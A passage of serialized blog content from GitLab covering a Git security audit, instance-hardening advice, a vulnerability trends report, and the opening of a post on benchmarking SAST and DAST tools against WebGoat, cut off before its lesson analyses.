[CVE-2022-41903](https://github.com/git/git/security/advisories/GHSA-475x-2q3q-hvwq).\n\nThis first critical finding was the tip of the iceberg, and you can refer to [the public report](https://www.x41-dsec.de/static/reports/X41-OSTIF-Gitlab-Git-Security-Audit-20230117-public.pdf) for the full list of findings made during the audit.\n\n### Wider collaboration\n\nThis issue, the first critical one identified within the audit, put me into an interesting position. Being involved in the GitLab security, the heap corruption was pretty relevant for my \"normal\" job outside of this audit. However, there was the obvious need for discretion around the vulnerability. After aligning with all involved parties, we decided to post the vulnerability to the git-security mailing list early, even though the audit was still ongoing. As a few GitLab team members have access to this list, this was the official way to create a security incident at GitLab without any unfair advantage and still keep the vulnerability embargoed.\n\nOn the git-security mailing list, [Patrick Steinhardt](/company/team/#pks-gitlab) from our Gitaly team quickly picked up the vulnerability. On a closer look by Patrick, the formatting specifiers were a bit of a minefield and he got really involved with identifying more issues, developing fixes and even extending Git's own fuzzing harness to cover the pretty formats.\n\n### The upshot of this vulnerabilty hunt\n\nIt was a smooth collaboration between all involved parties.\n\nI'd really like to thank:\n* The folks on the git-security mailing list who had to deal with our findings\n* The OSTIF for making this happen and giving me a chance to participate\n* Markus and Eric from X41 for high-quality hacking time\n\nIn the end, this joint effort could strenghten the security of Git, which is a fundamental part not only of GitLab but almost the whole software developing world.\n\n### References\n\n* [Git announcement](https://www.openwall.com/lists/oss-security/2023/01/17/4)\n* [CVE-2022-41903 advisory](https://github.com/git/git/security/advisories/GHSA-475x-2q3q-hvwq)\n* [CVE-2022-23521 advisory](https://github.com/git/git/security/advisories/GHSA-c738-c5qq-xg89)\n* [OSTIF blogpost](https://ostif.org/the-audit-of-git-is-complete/)\n* [X41 blogpost](https://x41-dsec.de/security/research/news/2023/01/17/git-security-audit-ostif/)\n* [Full public report](https://www.x41-dsec.de/static/reports/X41-OSTIF-Gitlab-Git-Security-Audit-20230117-public.pdf)\n* [GitLab critical security release addressing the issues](/releases/2023/01/17/critical-security-release-gitlab-15-7-5-released/)\n",[678,9],{"slug":703,"featured":6,"template":683},"git-security-audit","content:en-us:blog:git-security-audit.yml","Git Security Audit","en-us/blog/git-security-audit.yml","en-us/blog/git-security-audit",{"_path":709,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":710,"content":716,"config":722,"_id":724,"_type":14,"title":725,"_source":16,"_file":726,"_stem":727,"_extension":19},"/en-us/blog/gitlab-instance-security-best-practices",{"title":711,"description":712,"ogTitle":711,"ogDescription":712,"noIndex":6,"ogImage":713,"ogUrl":714,"ogSiteName":670,"ogType":671,"canonicalUrls":714,"schema":715},"GitLab instance: security best practices","Default settings on products can be massively helpful. However, when it comes to hardening your GitLab instance, we’ve got some helpful configuration recommendations from our security team.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667057/Blog/Hero%20Images/configs_unsplash.jpg","https://about.gitlab.com/blog/gitlab-instance-security-best-practices","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab instance: security best practices\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2020-05-20\",\n      }",{"title":711,"description":712,"authors":717,"heroImage":713,"date":718,"body":719,"category":678,"tags":720},[675],"2020-05-20","GitLab is a feature-rich and powerful collaboration tool that is easy to use, and our self-managed installation is intended to be ready-to-go right out of the box. Exposing *any* service to the internet can create its own challenges from a security perspective, and as a result an administrator might have a bit of head-scratching over how to set things up safely.\n\nFortunately, we have a large number of security features and options that can be used to help lock things down. In this blog post, we’ve highlighted a few important features that will certainly help an administrator harden that new GitLab instance - particularly one facing the internet.\n\n## Access basics\n\nDuring the initial GitLab installation, you will be asked to set up a root password. Obviously, we highly recommend a long password, unique to your GitLab instance that is not easily guessable with a mixture of uppercase and lowercase along with numbers and special characters. For a working example, see how we advise GitLab team members to create, store and manage [passwords](/handbook/security/#accounts-and-passwords).\n\nTo help simplify your installation, consider using environment variables. The root password can also be set this way. For example:\n\n`GITLAB_ROOT_PASSWORD=hunter2 GITLAB_HOST=https://hunter2.instance apt install gitlab-ee`\n\nThis has the added advantage of kicking off the entire [letsencrypt](https://letsencrypt.org/) process to ensure up-to-date certificates are used for your instance.\n\nYou will also want to ensure that users of your instance are also using strong, unique passwords, and you will want to ensure that the methods they use to access your instance are solid. Again, refer to our documentation on passwords for some ideas to share.\n\nThere are some choices you can make to limit access to data and restrict access to authorized users. In **Admin Area > Settings > General** you will want to expand the \"visibility and access controls\" section and make a few changes.\n\nTo help secure SSH access, RSA SSH keys should be allowed, as well as ED25519. Without going *too* deep, the open source crowd seems to prefer ED25519 as everything about it is open source (well-documented, trustworthy elliptical curve parameters), whereas other algorithms do not specify or go into details as to why they chose certain values. DSA also has a theoretical attack that could be used against it, although RSA could in theory fall to the same attack but is more resistant. Ah, but I digress! The main reason to support both RSA and ED25519 is that older systems that will connect may not be set up for ED25519, but will still support RSA, so at least both are recommended. With respect to RSA, encourage your users to use 2048 bits or higher when configuring keys.\n\nWe highly recommend using passwordless SSH authentication over password authentication. The communications are more secure (passwordless SSH authentication uses public/private key cryptography), it allows for an easier workflow, and it is one less password to worry about.\n\nFor more on SSH keys, see our documentation on [ssh keys restrictions](https://docs.gitlab.com/ee/security/ssh_keys_restrictions.html), as well as the additional [visibility and access control](https://docs.gitlab.com/ee/administration/settings/visibility_and_access_controls.html) settings that can be configured.\n\n## Restricting how and who\n\nThere are a few settings we recommend tweaking to help define how users access our instance and who we even allow to have access. You’ll want to check out three areas in particular under the **Admin Area > Settings > General** settings.\n\n**Sign up restrictions:**\n* Ensure open sign-up is disabled on your instance. Open registration is disabled by default on self-managed instances with GitLab 13.6 and above installed. If new sign-up is enabled and your instance is open to the internet, anyone can sign up and access data. Administrators who would like to further restrict access on their instance can [follow our documentation on how to configure user access](https://docs.gitlab.com/ee/administration/settings/sign_up_restrictions.html#disable-new-sign-ups).\n* Make sure that Send confirmation email on sign-up\" is checked. This adds a level of assurance that the user is in fact a real user.\n* If you want to restrict access to a sub-group such as the users in your organization, consider configuring a whitelist for your organization’s domain, (e.g., \"example.com\") which will allow them to sign up.\n* Minimum password length: 12. For users that are allowed access, make sure they will be using longer passwords. See our [password length limits documentation](https://docs.gitlab.com/ee/security/password_length_limits.html) for details.\n* For more detailed information, see our [documentation around sign up restrictions](https://docs.gitlab.com/ee/administration/settings/sign_up_restrictions.html)\n\n**Sign in restrictions:**\n* Make sure that Require 2FA is enabled. Multifactor authentication is the more secure method of protecting authentication to a user's account, and is strongly encouraged.\n* Disable \"password authentication enabled for Git over HTTP(S)\" if for some reason you can’t require MFA. This will require users to use a personal access token, further securing the user accounts.\n* For more detailed information, check our [documentation around sign in restrictions](https://docs.gitlab.com/ee/administration/settings/sign_in_restrictions.html).\n\n**Visibility and privacy:**\nEnsure project visibility is set to [\"Private\"](https://docs.gitlab.com/ee/user/public_access.html) on [existing projects](https://docs.gitlab.com/ee/user/public_access.html) and [by default for *new* projects](https://docs.gitlab.com/ee/administration/settings/visibility_and_access_controls.html#default-project-visibility). Private projects can only be cloned, downloaded, or viewed by project members, newly registered users will not be able to access these projects.\n\n## Improving performance and network tweaks\n\nThere are a few settings that will allow you to help protect your system from various network usage spikes, making your system a lot more stable and accessible for users.\n\n#### User and IP rate limits\nGoing to **Admin Area > Network > User and IP rate limits** allows you to make a few adjustments. Specifically you will want all three items checked:\n\n* \"Enable unauthenticated request rate limit\"\n* \"Enable authenticated API request rate limit\"\n* \"Enable authenticated web request rate limit\"\n\nThe default values associated with those items should be fine under most conditions. For more information, see our [documentation around user and IP rate limits](https://docs.gitlab.com/ee/administration/settings/user_and_ip_rate_limits.html).\n\n#### Webhooks\nWebhooks are a useful feature with a lot of power. Unless there is a legitimate need to allow webhooks to communicate with internal services, they should be restricted to services that are publicly reachable, which you can verify in **Admin Area > Network > Outbound Requests**. While the \"allow requests to the local network from web hooks and services\" is disabled by default, you should also uncheck \"allow requests to the local network from system hooks\" as well. For more detail, including some of the dangers inherent in webhooks, see our [webhooks documentation](https://docs.gitlab.com/ee/security/webhooks.html).\n\n#### Protected paths\nIn **Admin Area > Network > Protected Paths** ensure that \"Enable protected paths rate limit\" has been checked. Default values should be more than sufficient. For details, check out our [protected paths documentation](https://docs.gitlab.com/ee/administration/settings/protected_paths.html).\n\n## Customize your configuration, harden your instance\n\nWe understand with security there is always a balance between protection and agility. In the cases of customers with internet-facing GitLab instances, there are often choices driven by a combination of different business drivers and needs. However, with the help of a few configuration tweaks you can harden your instance and better protect your organization, while still remaining open to the internet.\n\nAdditional settings, including those with security implications, can be found in the [Admin Area](https://docs.gitlab.com/ee/administration/settings/). You'll want to explore those to really fine-tune your setup and make it your own. For some of you, these will have their own security implications that may be unique to your organization. Have fun exploring and securing your instance!\n\nCover image by [Alexey Ruban](https://unsplash.com/@intelligenciya) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[678,9,721],"tutorial",{"slug":723,"featured":6,"template":683},"gitlab-instance-security-best-practices","content:en-us:blog:gitlab-instance-security-best-practices.yml","Gitlab Instance Security Best Practices","en-us/blog/gitlab-instance-security-best-practices.yml","en-us/blog/gitlab-instance-security-best-practices",{"_path":729,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":730,"content":736,"config":742,"_id":744,"_type":14,"title":745,"_source":16,"_file":746,"_stem":747,"_extension":19},"/en-us/blog/gitlab-latest-security-trends",{"title":731,"description":732,"ogTitle":731,"ogDescription":732,"noIndex":6,"ogImage":733,"ogUrl":734,"ogSiteName":670,"ogType":671,"canonicalUrls":734,"schema":735},"GitLab's security trends report – our latest look at what's most vulnerable","From triage to containers and secrets storage, we took a look at the most vulnerable areas across thousands of hosted projects on GitLab.com. Here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678152/Blog/Hero%20Images/data.jpg","https://about.gitlab.com/blog/gitlab-latest-security-trends","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's security trends report – our latest look at what's most vulnerable\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Wayne Haber\"}],\n        \"datePublished\": \"2020-10-06\",\n      }",{"title":731,"description":732,"authors":737,"heroImage":733,"date":739,"body":740,"category":678,"tags":741},[738],"Wayne Haber","2020-10-06","\n\nIn this second GitLab security trends report, we analyzed security vulnerability trends across thousands of projects hosted on GitLab.com.  Doing the analysis allowed us to identify trends and patterns that security practitioners can use to benchmark against their organizations.\n\n## Recommendations for security practitioners\n\n### Recommendations\n\n| Category | Recommendation |\n| --- | --- |\n| Security issue triage | Regularly review and prioritize security issues that were identified (such as in the [Gitlab Security Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/)) |\n| Apply security fixes for containers | Automatically scan, rebuild, test and deploy containers using [CI/CD pipelines](/topics/ci-cd/) so that they always have the latest patches. |\n| Apply security fixes for project dependencies | Scan project dependencies during builds and periodically for the use of libraries with known vulnerabilities, and update the dependencies accordingly. |\n| Static analysis | Implement static security scanning while tuning for false positives so that developers can focus on what is truly important. Pay attention in particular to scanning automated tests with a different configuration than production code in order to reduce wasted time on false-positives. |\n| Secret storage | Ensure that developers store secrets such as private keys, passwords, and API keys in a secret vault rather than in the codebase itself. This is a typical security anti-pattern. During builds, use scanners that can detect secrets that were accidentally stored in the codebase. |\n| Dynamic analysis | Implement dynamic analysis, and periodically confirm it can both authenticate the applications being scanned and fully spider them. This is a common challenge and when misconfigured causes the scanners to test only a small portion of the application.  |\n| Web application security | Evaulate applications for common attack vectors such as reverse tabnabbing and `x-frame-options` that are not implemented. | \n| Fuzz testing | Track the latest techniques used by bad actors to find vulnerabilities and use those same tactics to find issues, preferably before they discover them. |\n\n## Trends by CWE \n\nFor this section of the analysis, all detected vulnerabilities across all scanners were mapped against their primary [CWE: Common Weakness Enumeration](https://cwe.mitre.org/about/index.html). The pertinent [CVEs (Common Vulnerabilities and Exposures)](https://cve.mitre.org/) are included with each vulnerable library or component.\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3797747\" data-url=\"https://flo.uri.sh/visualisation/3797747/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nThe top three CWEs in August were:\n\n###  CWE-20: [Improper input validation](https://cwe.mitre.org/data/definitions/20.html)\n\nImproper input validation allows for potential injection attacks (SQL, code, etc). The top findings were from the [container scanner](https://docs.gitlab.com/ee/user/application_security/container_scanning/) which found issues with out of date software, most notably for:\n* [glibc](https://www.cvedetails.com/vulnerability-list/vendor_id-72/product_id-767/GNU-Glibc.html) - CVE-2016-10228 and CVE-2018-19591\n* [apt](https://www.debian.org/doc/manuals/debian-reference/ch02.en.html) - [CVE-2020-3810](https://nvd.nist.gov/vuln/detail/CVE-2020-3810)\n\nThe dependency scanner also found issues for libraries in use including:\n* [ajv](https://ajv.js.org/)\n* [sockjs](https://github.com/sockjs/sockjs-client)\n* [minimist](https://www.npmjs.com/package/minimist)\n* [yargs-parser](https://www.npmjs.com/package/yargs-parser)\n\n### CWE-787: [Out of bounds write of intended buffer](https://cwe.mitre.org/data/definitions/787.html)\n\nThis allows for potential remote code execution. The top findings were from the container scanner which found the below software to be out of date and vulnerable:\n* [glibc](https://www.cvedetails.com/vulnerability-list/vendor_id-72/product_id-767/GNU-Glibc.html) - CVE-2020-1751, CVE-2018-11237\n* [openexr](https://github.com/AcademySoftwareFoundation/openexr) - [CVE-2020-15306](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15306)\n* [ghostscript](https://ghostscript.com/) - CVE-2020-16287, CVE-2020-16292, CVE-2020-16291, and 8 others\n\nThe dependency scanner also found issues for dependant libraries in use, with the top one being [execa](https://www.npmjs.com/package/execa).\n\n### CWE-400: [Uncontrolled resource consumption](https://cwe.mitre.org/data/definitions/400.html)\n\nUncontrolled resource consumption allows for potential denial of service attacks against specific software. The top findings were from the dependency scanner for the [Mixin-deep](https://www.npmjs.com/package/mixin-deep) library.\n\nThe container scanner also found issues with:\n* [mysql-5.7](https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=mysql) - CVE-2020-14547, CVE-2020-14540, CVE-2020-14576, and 4 others\n* [nghttp2](https://kb.cert.org/vuls/id/605641/) - CVE-2019-9513 and CVE-2019-9511\n\n## Dependency scanner trends\n\n![Dependency by month](https://about.gitlab.com/images/blogimages/2020-10-06-GitLab-Latest-Security-Trends/dependency_by_month.png \"Dependency scanner trends\")\n\nThe percentage of projects finding issues with dependent libraries in use has significantly increased over the last year, from 26% to 69%.  This reinforces that updating dependent libraries should be prioritized based on the risks those libraries pose.  GitLab [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) can be used to scan project dependencies for vulnerabilities.\n\n### By Library\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3819520\" data-url=\"https://flo.uri.sh/visualisation/3819520/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nAs new vulnerabilities are discovered in libraries, and projects using them have their dependencies scanned, the libraries rise in prevalence.  As the dependencies are updated later, they drop in prevalence. However, not all teams reliably prioritize and resolve issues, so many vulnerable dependent libraries continue to be in use for a long period of time.\n\nThe top libraries in use with vulnerabilities in August were:\n\n| Library | Top vulnerability | \n| ---- | --- |\n| [Lodash](https://www.npmjs.com/package/lodash) | Object prototype pollution |\n| [Execa](https://www.npmjs.com/package/execa) | OS command injection |\n| [Mixin-deep](https://www.npmjs.com/package/mixin-deep) | Prototype pollution |\n| [Kind-of](https://www.npmjs.com/package/kind-of) | Type checking |\n| [Sockjs](https://www.npmjs.com/package/sockjs) | Cross-site scripting | \n| [Ajv](https://www.npmjs.com/package/ajv) | Improper input validation |\n| [Minimist](https://www.npmjs.com/package/minimist) | Improper input validation |\n| [Yargs-parser](https://www.npmjs.com/package/yargs-parser) | Improper input validation |\n| [JQuery](https://www.npmjs.com/package/jquery) | 3rd party CORS request may execute |\n| [Dot-prop](https://www.npmjs.com/package/dot-prop) | Direct request forced browsing |\n\n## Container scanner trends\n\n![Container by month](https://about.gitlab.com/images/blogimages/2020-10-06-GitLab-Latest-Security-Trends/container_by_month.png \"Container scanner trends\")\n\nThe percentage of projects finding issues with containers has decreased over the last year, from 52% to 41%. While we have seen a small decrease, it is still relatively high. Keeping container registries up-to-date and rebuilding/redeploying the containers that use them continues to be essential to reduce security risk. GitLab [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning) can be used to scan Docker images for known vulnerabilities.\n\n### By Component\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3828843\" data-url=\"https://flo.uri.sh/visualisation/3828843/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nSimilarly to the trends in dependent libraries, as new vulnerabilities are discovered in containers, and the containers are scanned, the vulnerabilities rise in prevalence. As the containers are updated, the vulnerabilities drop; however many are not updated, leaving the vulnerabilities in place and potentially exploitable in the long-term.\n\n### By Discovery Year\n\n![Container by year](https://about.gitlab.com/images/blogimages/2020-10-06-GitLab-Latest-Security-Trends/container_by_year.png \"Container by year\")\n\nWhile many projects update containers, a significant number of projects use containers with vulnerabilities that were discovered many years prior. Being diligent in identifying and updating all containers in use is essential to maintain the appropriate level of security vigilance.\n\n## Static analysis trends\n\n![SAST by month](https://about.gitlab.com/images/blogimages/2020-10-06-GitLab-Latest-Security-Trends/sast_by_month.png \"SAST scanner trends\")\n\nThe percentage of projects finding vulnerabilities via static scanning over the last year has remained mostly unchanged (from 49% to 52%). This shows that static scanning continues to be quite effective in identifying security vulnerabilities. GitLab can be used for [static application security testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) and [secret detection](https://docs.gitlab.com/ee/user/application_security/sast/#secret-detection).\n\nMany SAST checks can have a false positive rate, especially when scanning code for automated tests (which, for example, may contain non-production secrets). It is crucial to tune the SAST scanners to reduce false positives, allowing the developers to focus on other issues that have a higher likelihood of being a real problem.\n\n### Non-secret related vulnerabilities\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3829510\" data-url=\"https://flo.uri.sh/visualisation/3829510/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nThe top vulnerabilities in this category were:\n* Password in URL - Passwords are sent in the URL, allowing the password to be more easily stored in the local browser cache and in any proxy servers between the web browser and web server. Passwords should be sent via secure methods such as the `POST` method (vs. using `GET`, which puts the password in the URL.)\n* Insecure usage of temporary file or directory - a temporary file does not have proper permissions, allowing data to be exposed and possibly allowing for remote code execution. \n* Predictable pseudorandom number generator (PRNG) - if a predictable seed is used for encryption, it makes it much easier for the encryption to be defeated. A [cryptographically secure PRNG](https://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator) should be used instead.\n* Cipher with no integrity - code does not validate that when decrypting data, the data has not been altered. A solution for this is to add an encrypted hash to the message.\n* No file extension found in an include - allows for potential remote code execution.\n\n### Secret handling vulnerabilities\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3829570\" data-url=\"https://flo.uri.sh/visualisation/3829570/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nThe top types of secrets/keys identified were:\n* [PKCS](https://en.wikipedia.org/wiki/Cipher) - Public Key Cryptography Standard\n* [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) Key\n* AWS API\n\nFor security reasons, secrets (such as keys, passwords, etc) should never be stored in the codebase. However, it is very convenient for developers to do this making it a common security anti-pattern. Secrets should be stored in a storage mechanism designed for security, such as [vault](https://docs.gitlab.com/ee/ci/examples/authenticating-with-hashicorp-vault/).\n\n## DAST \n\n![DAST by month](https://about.gitlab.com/images/blogimages/2020-10-06-GitLab-Latest-Security-Trends/dast_by_month.png \"DAST scanner trends\")\n\nThe percentage of projects finding vulnerabilities via dynamic scanning over the last year went from 7% to a high of 20% and then back down to 9%. After initial scanning and issue resolution, dynamic scanning tends to primarily only find low priority vulnerabilities unless the scanners are configured to authenticate the web applications and successfully spider the entire application. Security practitioners must periodically confirm the results as the configuration tends to stop working over time.\n\nGitLab can be configured to do [dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/).\n\n### By vulnerability\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3829616\" data-url=\"https://flo.uri.sh/visualisation/3829616/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nThe top vulnerabilities in this category were:\n* [X-frame-options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options) header not set - allows a web application to be embedded inside another (malicious) web application.\n* [Reverse tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing) - allows a page linked from the target page to be able to rewrite the page (such as to replace it with a phishing site)\n* Vulnerable JavaScript Library - see the dependent library section above.\n* [Cross-domain misconfiguration](https://www.zaproxy.org/docs/alerts/10098/) - web browser data loading may be possible, due to a Cross Origin Resource Sharing (CORS) misconfiguration on the webserver\n* PII (personally identifiable information) disclosure - security scanners have difficulty accurately determining if data is truly PII. The PII rules should be tuned per organization.\n* [CSP (content site protection) wildcard directive](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) - There is a lack of proper content site protection, potentially allowing for cross-site scripting and other similar attacks.\n* Application error disclosure - when attacker-accessible applications expose error messages, they give the attacker significant clues on how to attack the application. Allow these errors to be shown only in non-production environments.\n\n## Fuzzing\n\nFuzzing is a new feature [recently released by GitLab](/releases/2020/08/22/gitlab-13-3-released/). Fuzz testing can be configured in the [GitLab UI](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/).\n\nThe top vulnerabilities detected in this new feature include:\n* Heap-buffer-overflow on read\n* Index-out-of-bounds\n\n## Data sources\n\nThe trends report's underlying data is sourced from projects hosted on GitLab.com and does not include data from our self-managed customers. It is comprised of medium or higher severity vulnerabilities appearing in five or more projects that occurred between September 2019 and October 2020. All project-specific data was anonymized.\n\nRead more about security:\n\n* Container security [best practices](/blog/container-security-in-gitlab/)\n* A look at [Arctic Engine fuzz testing](/blog/arctic-engine-fuzz-testing-blog/)\n* How to [secure your cloud native apps](/blog/how-gitlab-can-help-you-secure-your-cloud-native-applications/)\n\nThanks to [David DeSanto](https://gitlab.com/david), [Todd Stadelhofer](https://gitlab.com/tstadelhofer), [Nicole Schwartz](https://gitlab.com/NicoleSchwartz), [Nico Meisenzahl](https://twitter.com/nmeisenzahl), and [Sean Wright](https://twitter.com/SeanWrightSec) for the feedback on the blog content. \n\n[Pietro Jeng](https://unsplash.com/@pietrozj) on [Unsplash](https://unsplash.com)\n{: .note}\n",[678,9],{"slug":743,"featured":6,"template":683},"gitlab-latest-security-trends","content:en-us:blog:gitlab-latest-security-trends.yml","Gitlab Latest Security Trends","en-us/blog/gitlab-latest-security-trends.yml","en-us/blog/gitlab-latest-security-trends",{"_path":749,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":750,"content":756,"config":763,"_id":765,"_type":14,"title":766,"_source":16,"_file":767,"_stem":768,"_extension":19},"/en-us/blog/how-to-benchmark-security-tools",{"title":751,"description":752,"ogTitle":751,"ogDescription":752,"noIndex":6,"ogImage":753,"ogUrl":754,"ogSiteName":670,"ogType":671,"canonicalUrls":754,"schema":755},"How to benchmark security tools: a case study using WebGoat","When tasked to compare security tools, it's critical to understand what's a fair benchmark. We take you step by step through WebGoat's lessons and compare them to SAST and DAST results.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678166/Blog/Hero%20Images/benchmarking.jpg","https://about.gitlab.com/blog/how-to-benchmark-security-tools","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to benchmark security tools: a case study using WebGoat\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Isaac Dawson\"}],\n        \"datePublished\": \"2020-08-11\",\n      }",{"title":751,"description":752,"authors":757,"heroImage":753,"date":759,"body":760,"category":678,"tags":761},[758],"Isaac Dawson","2020-08-11","As your organization grows, the necessity for having automated security tools be a component of your development pipeline will increase. According to the latest [BSIMM10 study](https://www.bsimm.com/about.html), full-time security members represented just 1.37% of the number of developers. That's one security team member for every 73 developers. Without automated tooling assisting security teams, vulnerabilities may more easily find their way into production.\n\nWhen tasked to compare security tools, having the knowledge to judge a fair benchmark is paramount for success. We're going to take a very in-depth look at WebGoat's lessons in this blog post.\n\n## Running a fair benchmark\n\nThere are many factors that need to be taken into consideration when comparing various security tools.\n\n1. Is the tool I am testing right for my organization?\n2. Do the applications I chose to run the tools against reflect what my organization uses?\n3. Do the applications contain real security issues in real world scenarios, or are they synthetic?\n4. Are the results consistent across runs? Are they actionable? \n\n### Choosing the right tool\n\nSome tools are developer focused, while others may be tailored to security teams. Highly technical tools built for security teams may give better results, but if it requires domain expertise and significant tuning, it may end up being a worse choice for your organization. \n\nYour organization may also be more concerned about a tool which can run relatively quickly within your development pipeline. If your developers need results immediately, a SAST or DAST tool which takes hours or days to complete may be next to worthless.\n\n### Choosing applications\n\nIt's important when comparing tools that they are run against applications that have been developed in-house or closely mirror what your development teams are creating. A SAST tool that's excellent at finding Java security issues will not necessarily translate to one that's great at finding actionable issues in a NodeJS application. If your organization has a diverse set of languages you should run each tool against applications that reflect those environments.\n\n### Real world flaws\n\nApplications like [WebGoat](https://owasp.org/www-project-webgoat/) or [OWASP's Java Benchmark](https://github.com/OWASP/Benchmark) do not represent real world applications. Most vulnerabilities have been purposely injected into very simple data and code flows. The majority of flaws in WebGoat exist in the same Java class where the source of user input is defined. In reality, a large number of security issues will be hidden in nested layers of abstraction or multiple function or method calls. You'll want to ensure your test suite of applications includes real world applications and the tools can traverse these complex flows to find potential flaws.\n\nEven if a tool is excellent at finding language specific issues, it may or may not support the development team's choice in frameworks. Most SAST tools need to add support for specific frameworks. If the tool supports the language of choice but does not support the particular framework, there will be a higher chance for poor results.\n\n### Are results consistent and useful?\n\nAnalysis of applications should be run multiple times – DAST tools in particular have a difficult time with consistency due to the dynamic nature of testing live applications. Ensure each tool is run the same number of times to gather enough data points to make a clear decision.\n\nSecurity tools tend to over report issues and this can end up causing alert fatigue and reduce the value of the tool. It's important to tune the tools to reduce the number of non-actionable results. Just pay attention to how much time is required to maintain this tuning effort and be sure to include this in the final decision. \n\n## WebGoat as a benchmarking target\n\nWebGoat is a known vulnerable application that was built to help developers and people interested in web application security understand various flaws and risks to applications. Over the years it has seen numerous contributions to the lessons and became a de facto standard for learning about web application security.\n\nDue to the increase in popularity of this project, customers have chosen to rely on using it as a benchmark when assessing the capabilities of various SAST and DAST tools. The purpose of this post is to outline some potential pitfalls when using WebGoat as a target for analysis.\n\nWebGoat was built as a learning aid, not for benchmarking purposes. Certain methods chosen to demonstrate vulnerability do not actually result in real flaws being implemented in WebGoat. To a human attempting to exercise certain flaws, it may look like they've succeeded in finding an issue. In reality, the WebGoat application just makes it appear like they've discovered a flaw. \n\nThis can cause confusion when an automated tool is run against WebGoat. To a human, they expect the tool to find a flaw at a particular location. Since a number of lessons include synthetic flaws, the tools will fail to report them. \n\nFor this post, GitLab's Vulnerability Research Team used the v8.1.0 release of WebGoat, however a number of the issues identified will be applicable to older versions as well.\n\n## WebGoat's architecture\n\nThe focus of this post is on WebGoat and in particular as a target for benchmarking. The WebGoat repository has grown in size over the years and now includes multiple sub-projects:\n\n- webgoat-container - This project holds the static content as well as the [Spring Boot](https://spring.io/projects/spring-boot) Framework's lesson scaffolding. The frontend is built using [Backbone.js](https://backbonejs.org/).\n- webgoat-images - Contains a Vagrant file for training purposes.\n- webgoat-integration-tests - Contains test files\n- webgoat-lessons - Contains the source and resources for the lessons.\n- webgoat-server - The primary entry point for the SpringBootApplication.\n- webwolf - An entirely separate project for assisting users in exploiting various lessons.\n\nWhen building the WebGoat target application, the webgoat-container, webgoat-server and webgoat-lessons are all included into a single SpringBoot server packaged as a JAR artifact. \n\nFor the most part, lessons that contain legitimate flaws exist in a single class file. Certain SAST tools which implement extensive taint tracking capabilities may not be fully exercised. The end result being, SAST tools with limited capabilities will find just as many flaws as more advanced tools that can handle intra-procedural taint flows. It would be better to benchmark these tools against relatively complex applications versus comparing them with WebGoat's simplistic flaws.\n\n## Analysis methodology \n\nOnly the webgoat-container, webgoat-server and webgoat-lessons projects are included in our analysis of WebGoat for SAST/DAST tools. The other projects webgoat-images, webgoat-integration-tests and webwolf are not included. \n\nOur analysis follows the lessons and attempts to identify in the source where the flaws, if any, exist. If a lesson is a description or does not process user input, it is not included in the flaw category listing below. \n\nEach lesson is broken down to cover the following:\n\n- Flaw category\n- Lesson with title\n- Link as viewable from a browser\n- Source\n- Lesson's purpose \n- Relevant source code\n- Whether DAST/SAST would be able to find and the probability level\n    - Possible: A DAST/SAST tool should be able to find the flaw with little to no configuration changes or custom settings\n    - Probable: A DAST/SAST tool could find the flaw with some configuration changes or custom settings\n    - Improbable: A DAST/SAST tool most likely will not be able to find the flaw, due to either hardcoded values or other conditions that are not realistic\n    - Impossible: A DAST/SAST tool would not be able to find any flaw due to it being completely synthetic or other unrealistic circumstances\n- Reasoning why it can or can't be found with a SAST or DAST tool\n- Example attack where applicable.\n\nIn many places there are additional flaws that exist in the code but are not part of the lesson; we will highlight some of these but not exhaustively.\n\nPlease note this post contains spoilers, if you are new to WebGoat as a learning tool and wish to use it for study, it is recommended to do that first before reading our analysis.\n\n## (A1) Injection\n\n---\n\n\u003Cdetails>\n\u003Csummary 